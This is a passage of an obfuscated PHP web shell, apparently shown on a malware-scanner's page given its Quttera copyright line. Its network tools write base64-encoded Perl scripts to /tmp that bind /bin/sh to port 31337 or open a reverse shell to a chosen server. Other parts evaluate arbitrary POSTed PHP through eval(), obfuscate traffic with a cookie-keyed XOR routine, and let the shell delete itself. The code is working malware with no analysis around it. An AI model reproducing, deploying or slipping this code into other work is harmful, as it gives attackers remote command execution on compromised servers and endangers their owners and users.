die('Shell has been removed');
} else {
echo 'unlink error!';
}
}
if ($_POST['dttbek'] != 'yes') {
xvecpyifn();
}
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
dhexky();
}
function actionNetwork() {
xvecpyifn();
$uwhkowrvaw = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$ziprrukb = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if (isset($_POST['dttbek'])) {
function gifhyy($lpolrzfdh, $nrhsieoj) {
$wvcuhnpokt = @fopen($lpolrzfdh, "w") or @function_exists('file_put_contents');
if ($wvcuhnpokt) {
@fwrite($wvcuhnpokt, @base64_decode($nrhsieoj));
@fclose($wvcuhnpokt);
}
}
if ($_POST['dttbek'] == 'bpp') {
gifhyy("/tmp/bp.pl", $ziprrukb);
$vecxbywn = mtnbzgk("perl /tmp/bp.pl " . $_POST['buzd'] . " 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$vecxbywn\n" . mtnbzgk("ps aux | grep bp.pl") . "</pre>";
unlink("/tmp/bp.pl");
}
if ($_POST['dttbek'] == 'bcp') {
gifhyy("/tmp/bc.pl", $uwhkowrvaw);
$vecxbywn = mtnbzgk("perl /tmp/bc.pl " . $_POST['buzd'] . " " . $_POST['ssfs'] . " 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$vecxbywn\n" . mtnbzgk("ps aux | grep bc.pl") . "</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
dhexky();
}
function actionRC() {
if (!@$_POST['dttbek']) {
$tbmijukupuqs = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"safemode" => @ini_get('safe_mode')
);
echo serialize($tbmijukupuqs);
} else {
eval($_POST['dttbek']);
}
}
function cjjgcnn($lniucv) {
return oadra($lniucv, $_COOKIE[md5($_SERVER['HTTP_HOST']) . "eqlac"]);
}
function oadra($nqkaop, $typucfvfdt) {
if (!$typucfvfdt) {
return null;
}
$nqkaop = base64_encode($nqkaop);
$typucfvfdt = base64_encode($typucfvfdt);
$ogzlekyx = '';
$qgvtuaymhhz = '';
$pmfjcatzbi = 0;
while ($pmfjcatzbi < mb_strlen($nqkaop)) {
for ($zjezamn = 0; $zjezamn < mb_strlen($typucfvfdt); $zjezamn++) {
$ogzlekyx = lqwmumht($nqkaop, $pmfjcatzbi) ^ lqwmumht($typucfvfdt, $zjezamn);
$qgvtuaymhhz .= chr($ogzlekyx);
$pmfjcatzbi++;
if ($pmfjcatzbi >= mb_strlen($nqkaop)) {
break;
}
}
}
return base64_encode($qgvtuaymhhz);
}
function lqwmumht($odzetc, $vkydrsmvnnl) {
$bcejxl = mb_substr($odzetc, $vkydrsmvnnl, 1, 'UTF-8');
if (mb_check_encoding($bcejxl, 'UTF-8')) {
$abmfvvh = mb_convert_encoding($bcejxl, 'UTF-32BE', 'UTF-8');
return hexdec(bin2hex($abmfvvh));
} else {
return null;
}
}
if (empty($_POST['wveg'])) {
if (isset($eifsbopwv) && function_exists('action' . $eifsbopwv)) {
$_POST['wveg'] = $eifsbopwv;
} else {
$_POST['wveg'] = 'SecInfo';
}
}
if (!empty($_POST['wveg']) && function_exists('action' . $_POST['wveg'])) {
call_user_func('action' . $_POST['wveg']);
}
exit;
© 2023 Quttera Ltd. All rights reserved.